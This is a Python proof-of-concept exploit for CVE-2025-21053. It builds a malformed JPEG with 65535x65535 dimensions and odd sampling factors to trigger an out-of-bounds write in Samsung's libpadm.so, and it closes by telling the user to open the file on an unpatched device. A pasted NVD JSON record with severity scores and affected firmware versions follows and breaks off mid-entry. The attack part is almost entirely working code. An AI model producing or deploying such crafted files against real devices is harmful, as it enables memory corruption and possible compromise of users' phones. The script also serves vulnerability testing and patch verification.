CVE-2025-21053

# CVE-2025-21053 PoC - Malformed JPEG Header Triggering OOB Write in libpadm.so # This PoC constructs a JPEG file with corrupted header fields to trigger # out-of-bounds write during JPEG decoding in Samsung's libpadm.so library. import struct def create_malformed_jpeg(): """ Create a JPEG file with malformed SOF0 (Start of Frame) header to trigger OOB write in libpadm.so parsing header for JPEG decoding. The vulnerability exists in parsing header before SMR Oct-2025 Release 1. """ jpeg_data = bytearray() # SOI (Start of Image) marker jpeg_data += b'\xFF\xD8' # APP0 marker (JFIF header) - minimal valid header jpeg_data += b'\xFF\xE0' # APP0 marker jpeg_data += struct.pack('>H', 16) # Length jpeg_data += b'JFIF\x00' # Identifier jpeg_data += b'\x01\x01' # Version jpeg_data += b'\x00' # Units jpeg_data += struct.pack('>HH', 1, 1) # X/Y density jpeg_data += b'\x00\x00' # Thumbnail dimensions # DQT marker (Define Quantization Table) jpeg_data += b'\xFF\xDB' jpeg_data += struct.pack('>H', 67) # Length jpeg_data += b'\x00' # Table ID 0, precision 0 (8-bit) jpeg_data += bytes([1] * 64) # Quantization values # SOF0 marker (Start of Frame) - MALFORMED to trigger OOB write # Crafting abnormally large width/height to cause buffer overflow # during header parsing in libpadm.so jpeg_data += b'\xFF\xC0' # SOF0 marker jpeg_data += struct.pack('>H', 11) # Length (standard for 1 component) jpeg_data += b'\x08' # Precision (8 bits) # Abnormally large height and width to trigger OOB write jpeg_data += struct.pack('>HH', 0xFFFF, 0xFFFF) # Height=65535, Width=65535 jpeg_data += b'\x03' # Number of components (Y, Cb, Cr) # Component specifications - malformed sampling factors jpeg_data += b'\x01\x22\x00' # Y: ID=1, sampling=2x2, Qt=0 jpeg_data += b'\x02\x11\x01' # Cb: ID=2, sampling=1x1, Qt=1 jpeg_data += b'\x03\x11\x01' # Cr: ID=3, sampling=1x1, Qt=1 # DHT marker (Define Huffman Table) - DC table jpeg_data += b'\xFF\xC4' jpeg_data += struct.pack('>H', 31) # Length jpeg_data += b'\x00' # DC table, ID 0 jpeg_data += bytes([0, 1, 5, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0]) jpeg_data += bytes([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]) # DHT marker - AC table jpeg_data += b'\xFF\xC4' jpeg_data += struct.pack('>H', 181) # Length jpeg_data += b'\x10' # AC table, ID 0 jpeg_data += bytes([0, 2, 1, 3, 3, 2, 4, 3, 5, 5, 4, 4, 0, 0, 1, 0x7D]) huffman_values = bytes(range(162)) jpeg_data += huffman_values # SOS marker (Start of Scan) with minimal scan data jpeg_data += b'\xFF\xDA' jpeg_data += struct.pack('>H', 8) # Length jpeg_data += b'\x03' # Number of components jpeg_data += b'\x01\x00' # Y: DC=0, AC=0 jpeg_data += b'\x02\x11' # Cb: DC=1, AC=1 jpeg_data += b'\x03\x11' # Cr: DC=1, AC=1 jpeg_data += b'\x00\x3F\x00' # Spectral selection # Minimal scan data (will trigger OOB write during decoding) jpeg_data += bytes([0xAA] * 256) # EOI marker jpeg_data += b'\xFF\xD9' return bytes(jpeg_data) if __name__ == "__main__": poc = create_malformed_jpeg() with open("cve_2025_21053_poc.jpg", "wb") as f: f.write(poc) print(f"[+] Malformed JPEG PoC created: cve_2025_21053_poc.jpg ({len(poc)} bytes)") print("[+] Target: Samsung devices with libpadm.so prior to SMR Oct-2025 Release 1") print("[+] Trigger: Open the JPEG file with any app using libpadm.so for decoding")

{"cve": {"id": "CVE-2025-21053", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:40.910", "lastModified": "2025-10-23T12:41:45.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds write in the parsing header for JPEG decoding in libpadm.so prior to SMR Oct-2025 Release 1 allows local attackers to cause memory corruption."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:-:*:*:*:*:*:*", "matchCriteriaId": "A123EDB1-3048-44B0-8D4D-39A2B24B5F6B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "BDE4D65E-8F9B-4810-AED6-95564A97D741"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "70825981-F895-4BFD-9B6E-92BFF0D67023"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "A5E68B7B-BA08-4E8C-B60A-B3836C6986BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AC42E785-02BF-4F27-B5CF-49572A2DBC8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "0AF1EDA0-2712-4C3C-8D8A-89E154BB63DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "88DC0A82-CAF3-4E88-8A4D-8AF79D0C226D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6239D93F-CA0E-4120-96A1-FB63276EAEE8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "25F19D02-1FFC-48AF-9CB8-063C459E7A4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "CD382E2D-0B51-4908-989A-88E083FC85BF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "299284DA-85AB-4162-B858-E67E5C6C14F7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "38B7AB56-AB65-4557-A91C-40CA2FD12351"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "858B0736-2272-4D5A-A77F-47023D21F7D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "61D507C0-086B-4139-A560-126964DFA579"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "D98F307E-3B01-4C17-86E5-1C6299919417"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "952CA843-7CF0-4424-BDA4-3F2A93E077B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "39F64BAA-2E49-4919-A940-219391383D5E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "57B125ED-D939-4CBC-9E96-BBCF02402A69"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "7D7DA96D-9C25-4DDA-A6BF-D998AC346B89"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "07AC19C6-D245-4C3A-90CC-A931A901EA0A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "FDA1685E-D101-46F6-8857-7F0894E07748"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jul-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "DF85AA7B-E1C7-4946-92B4-E4D545CAACDF"}, {"vulnerable": true, "criteria": "cpe:2.3 ... (truncated)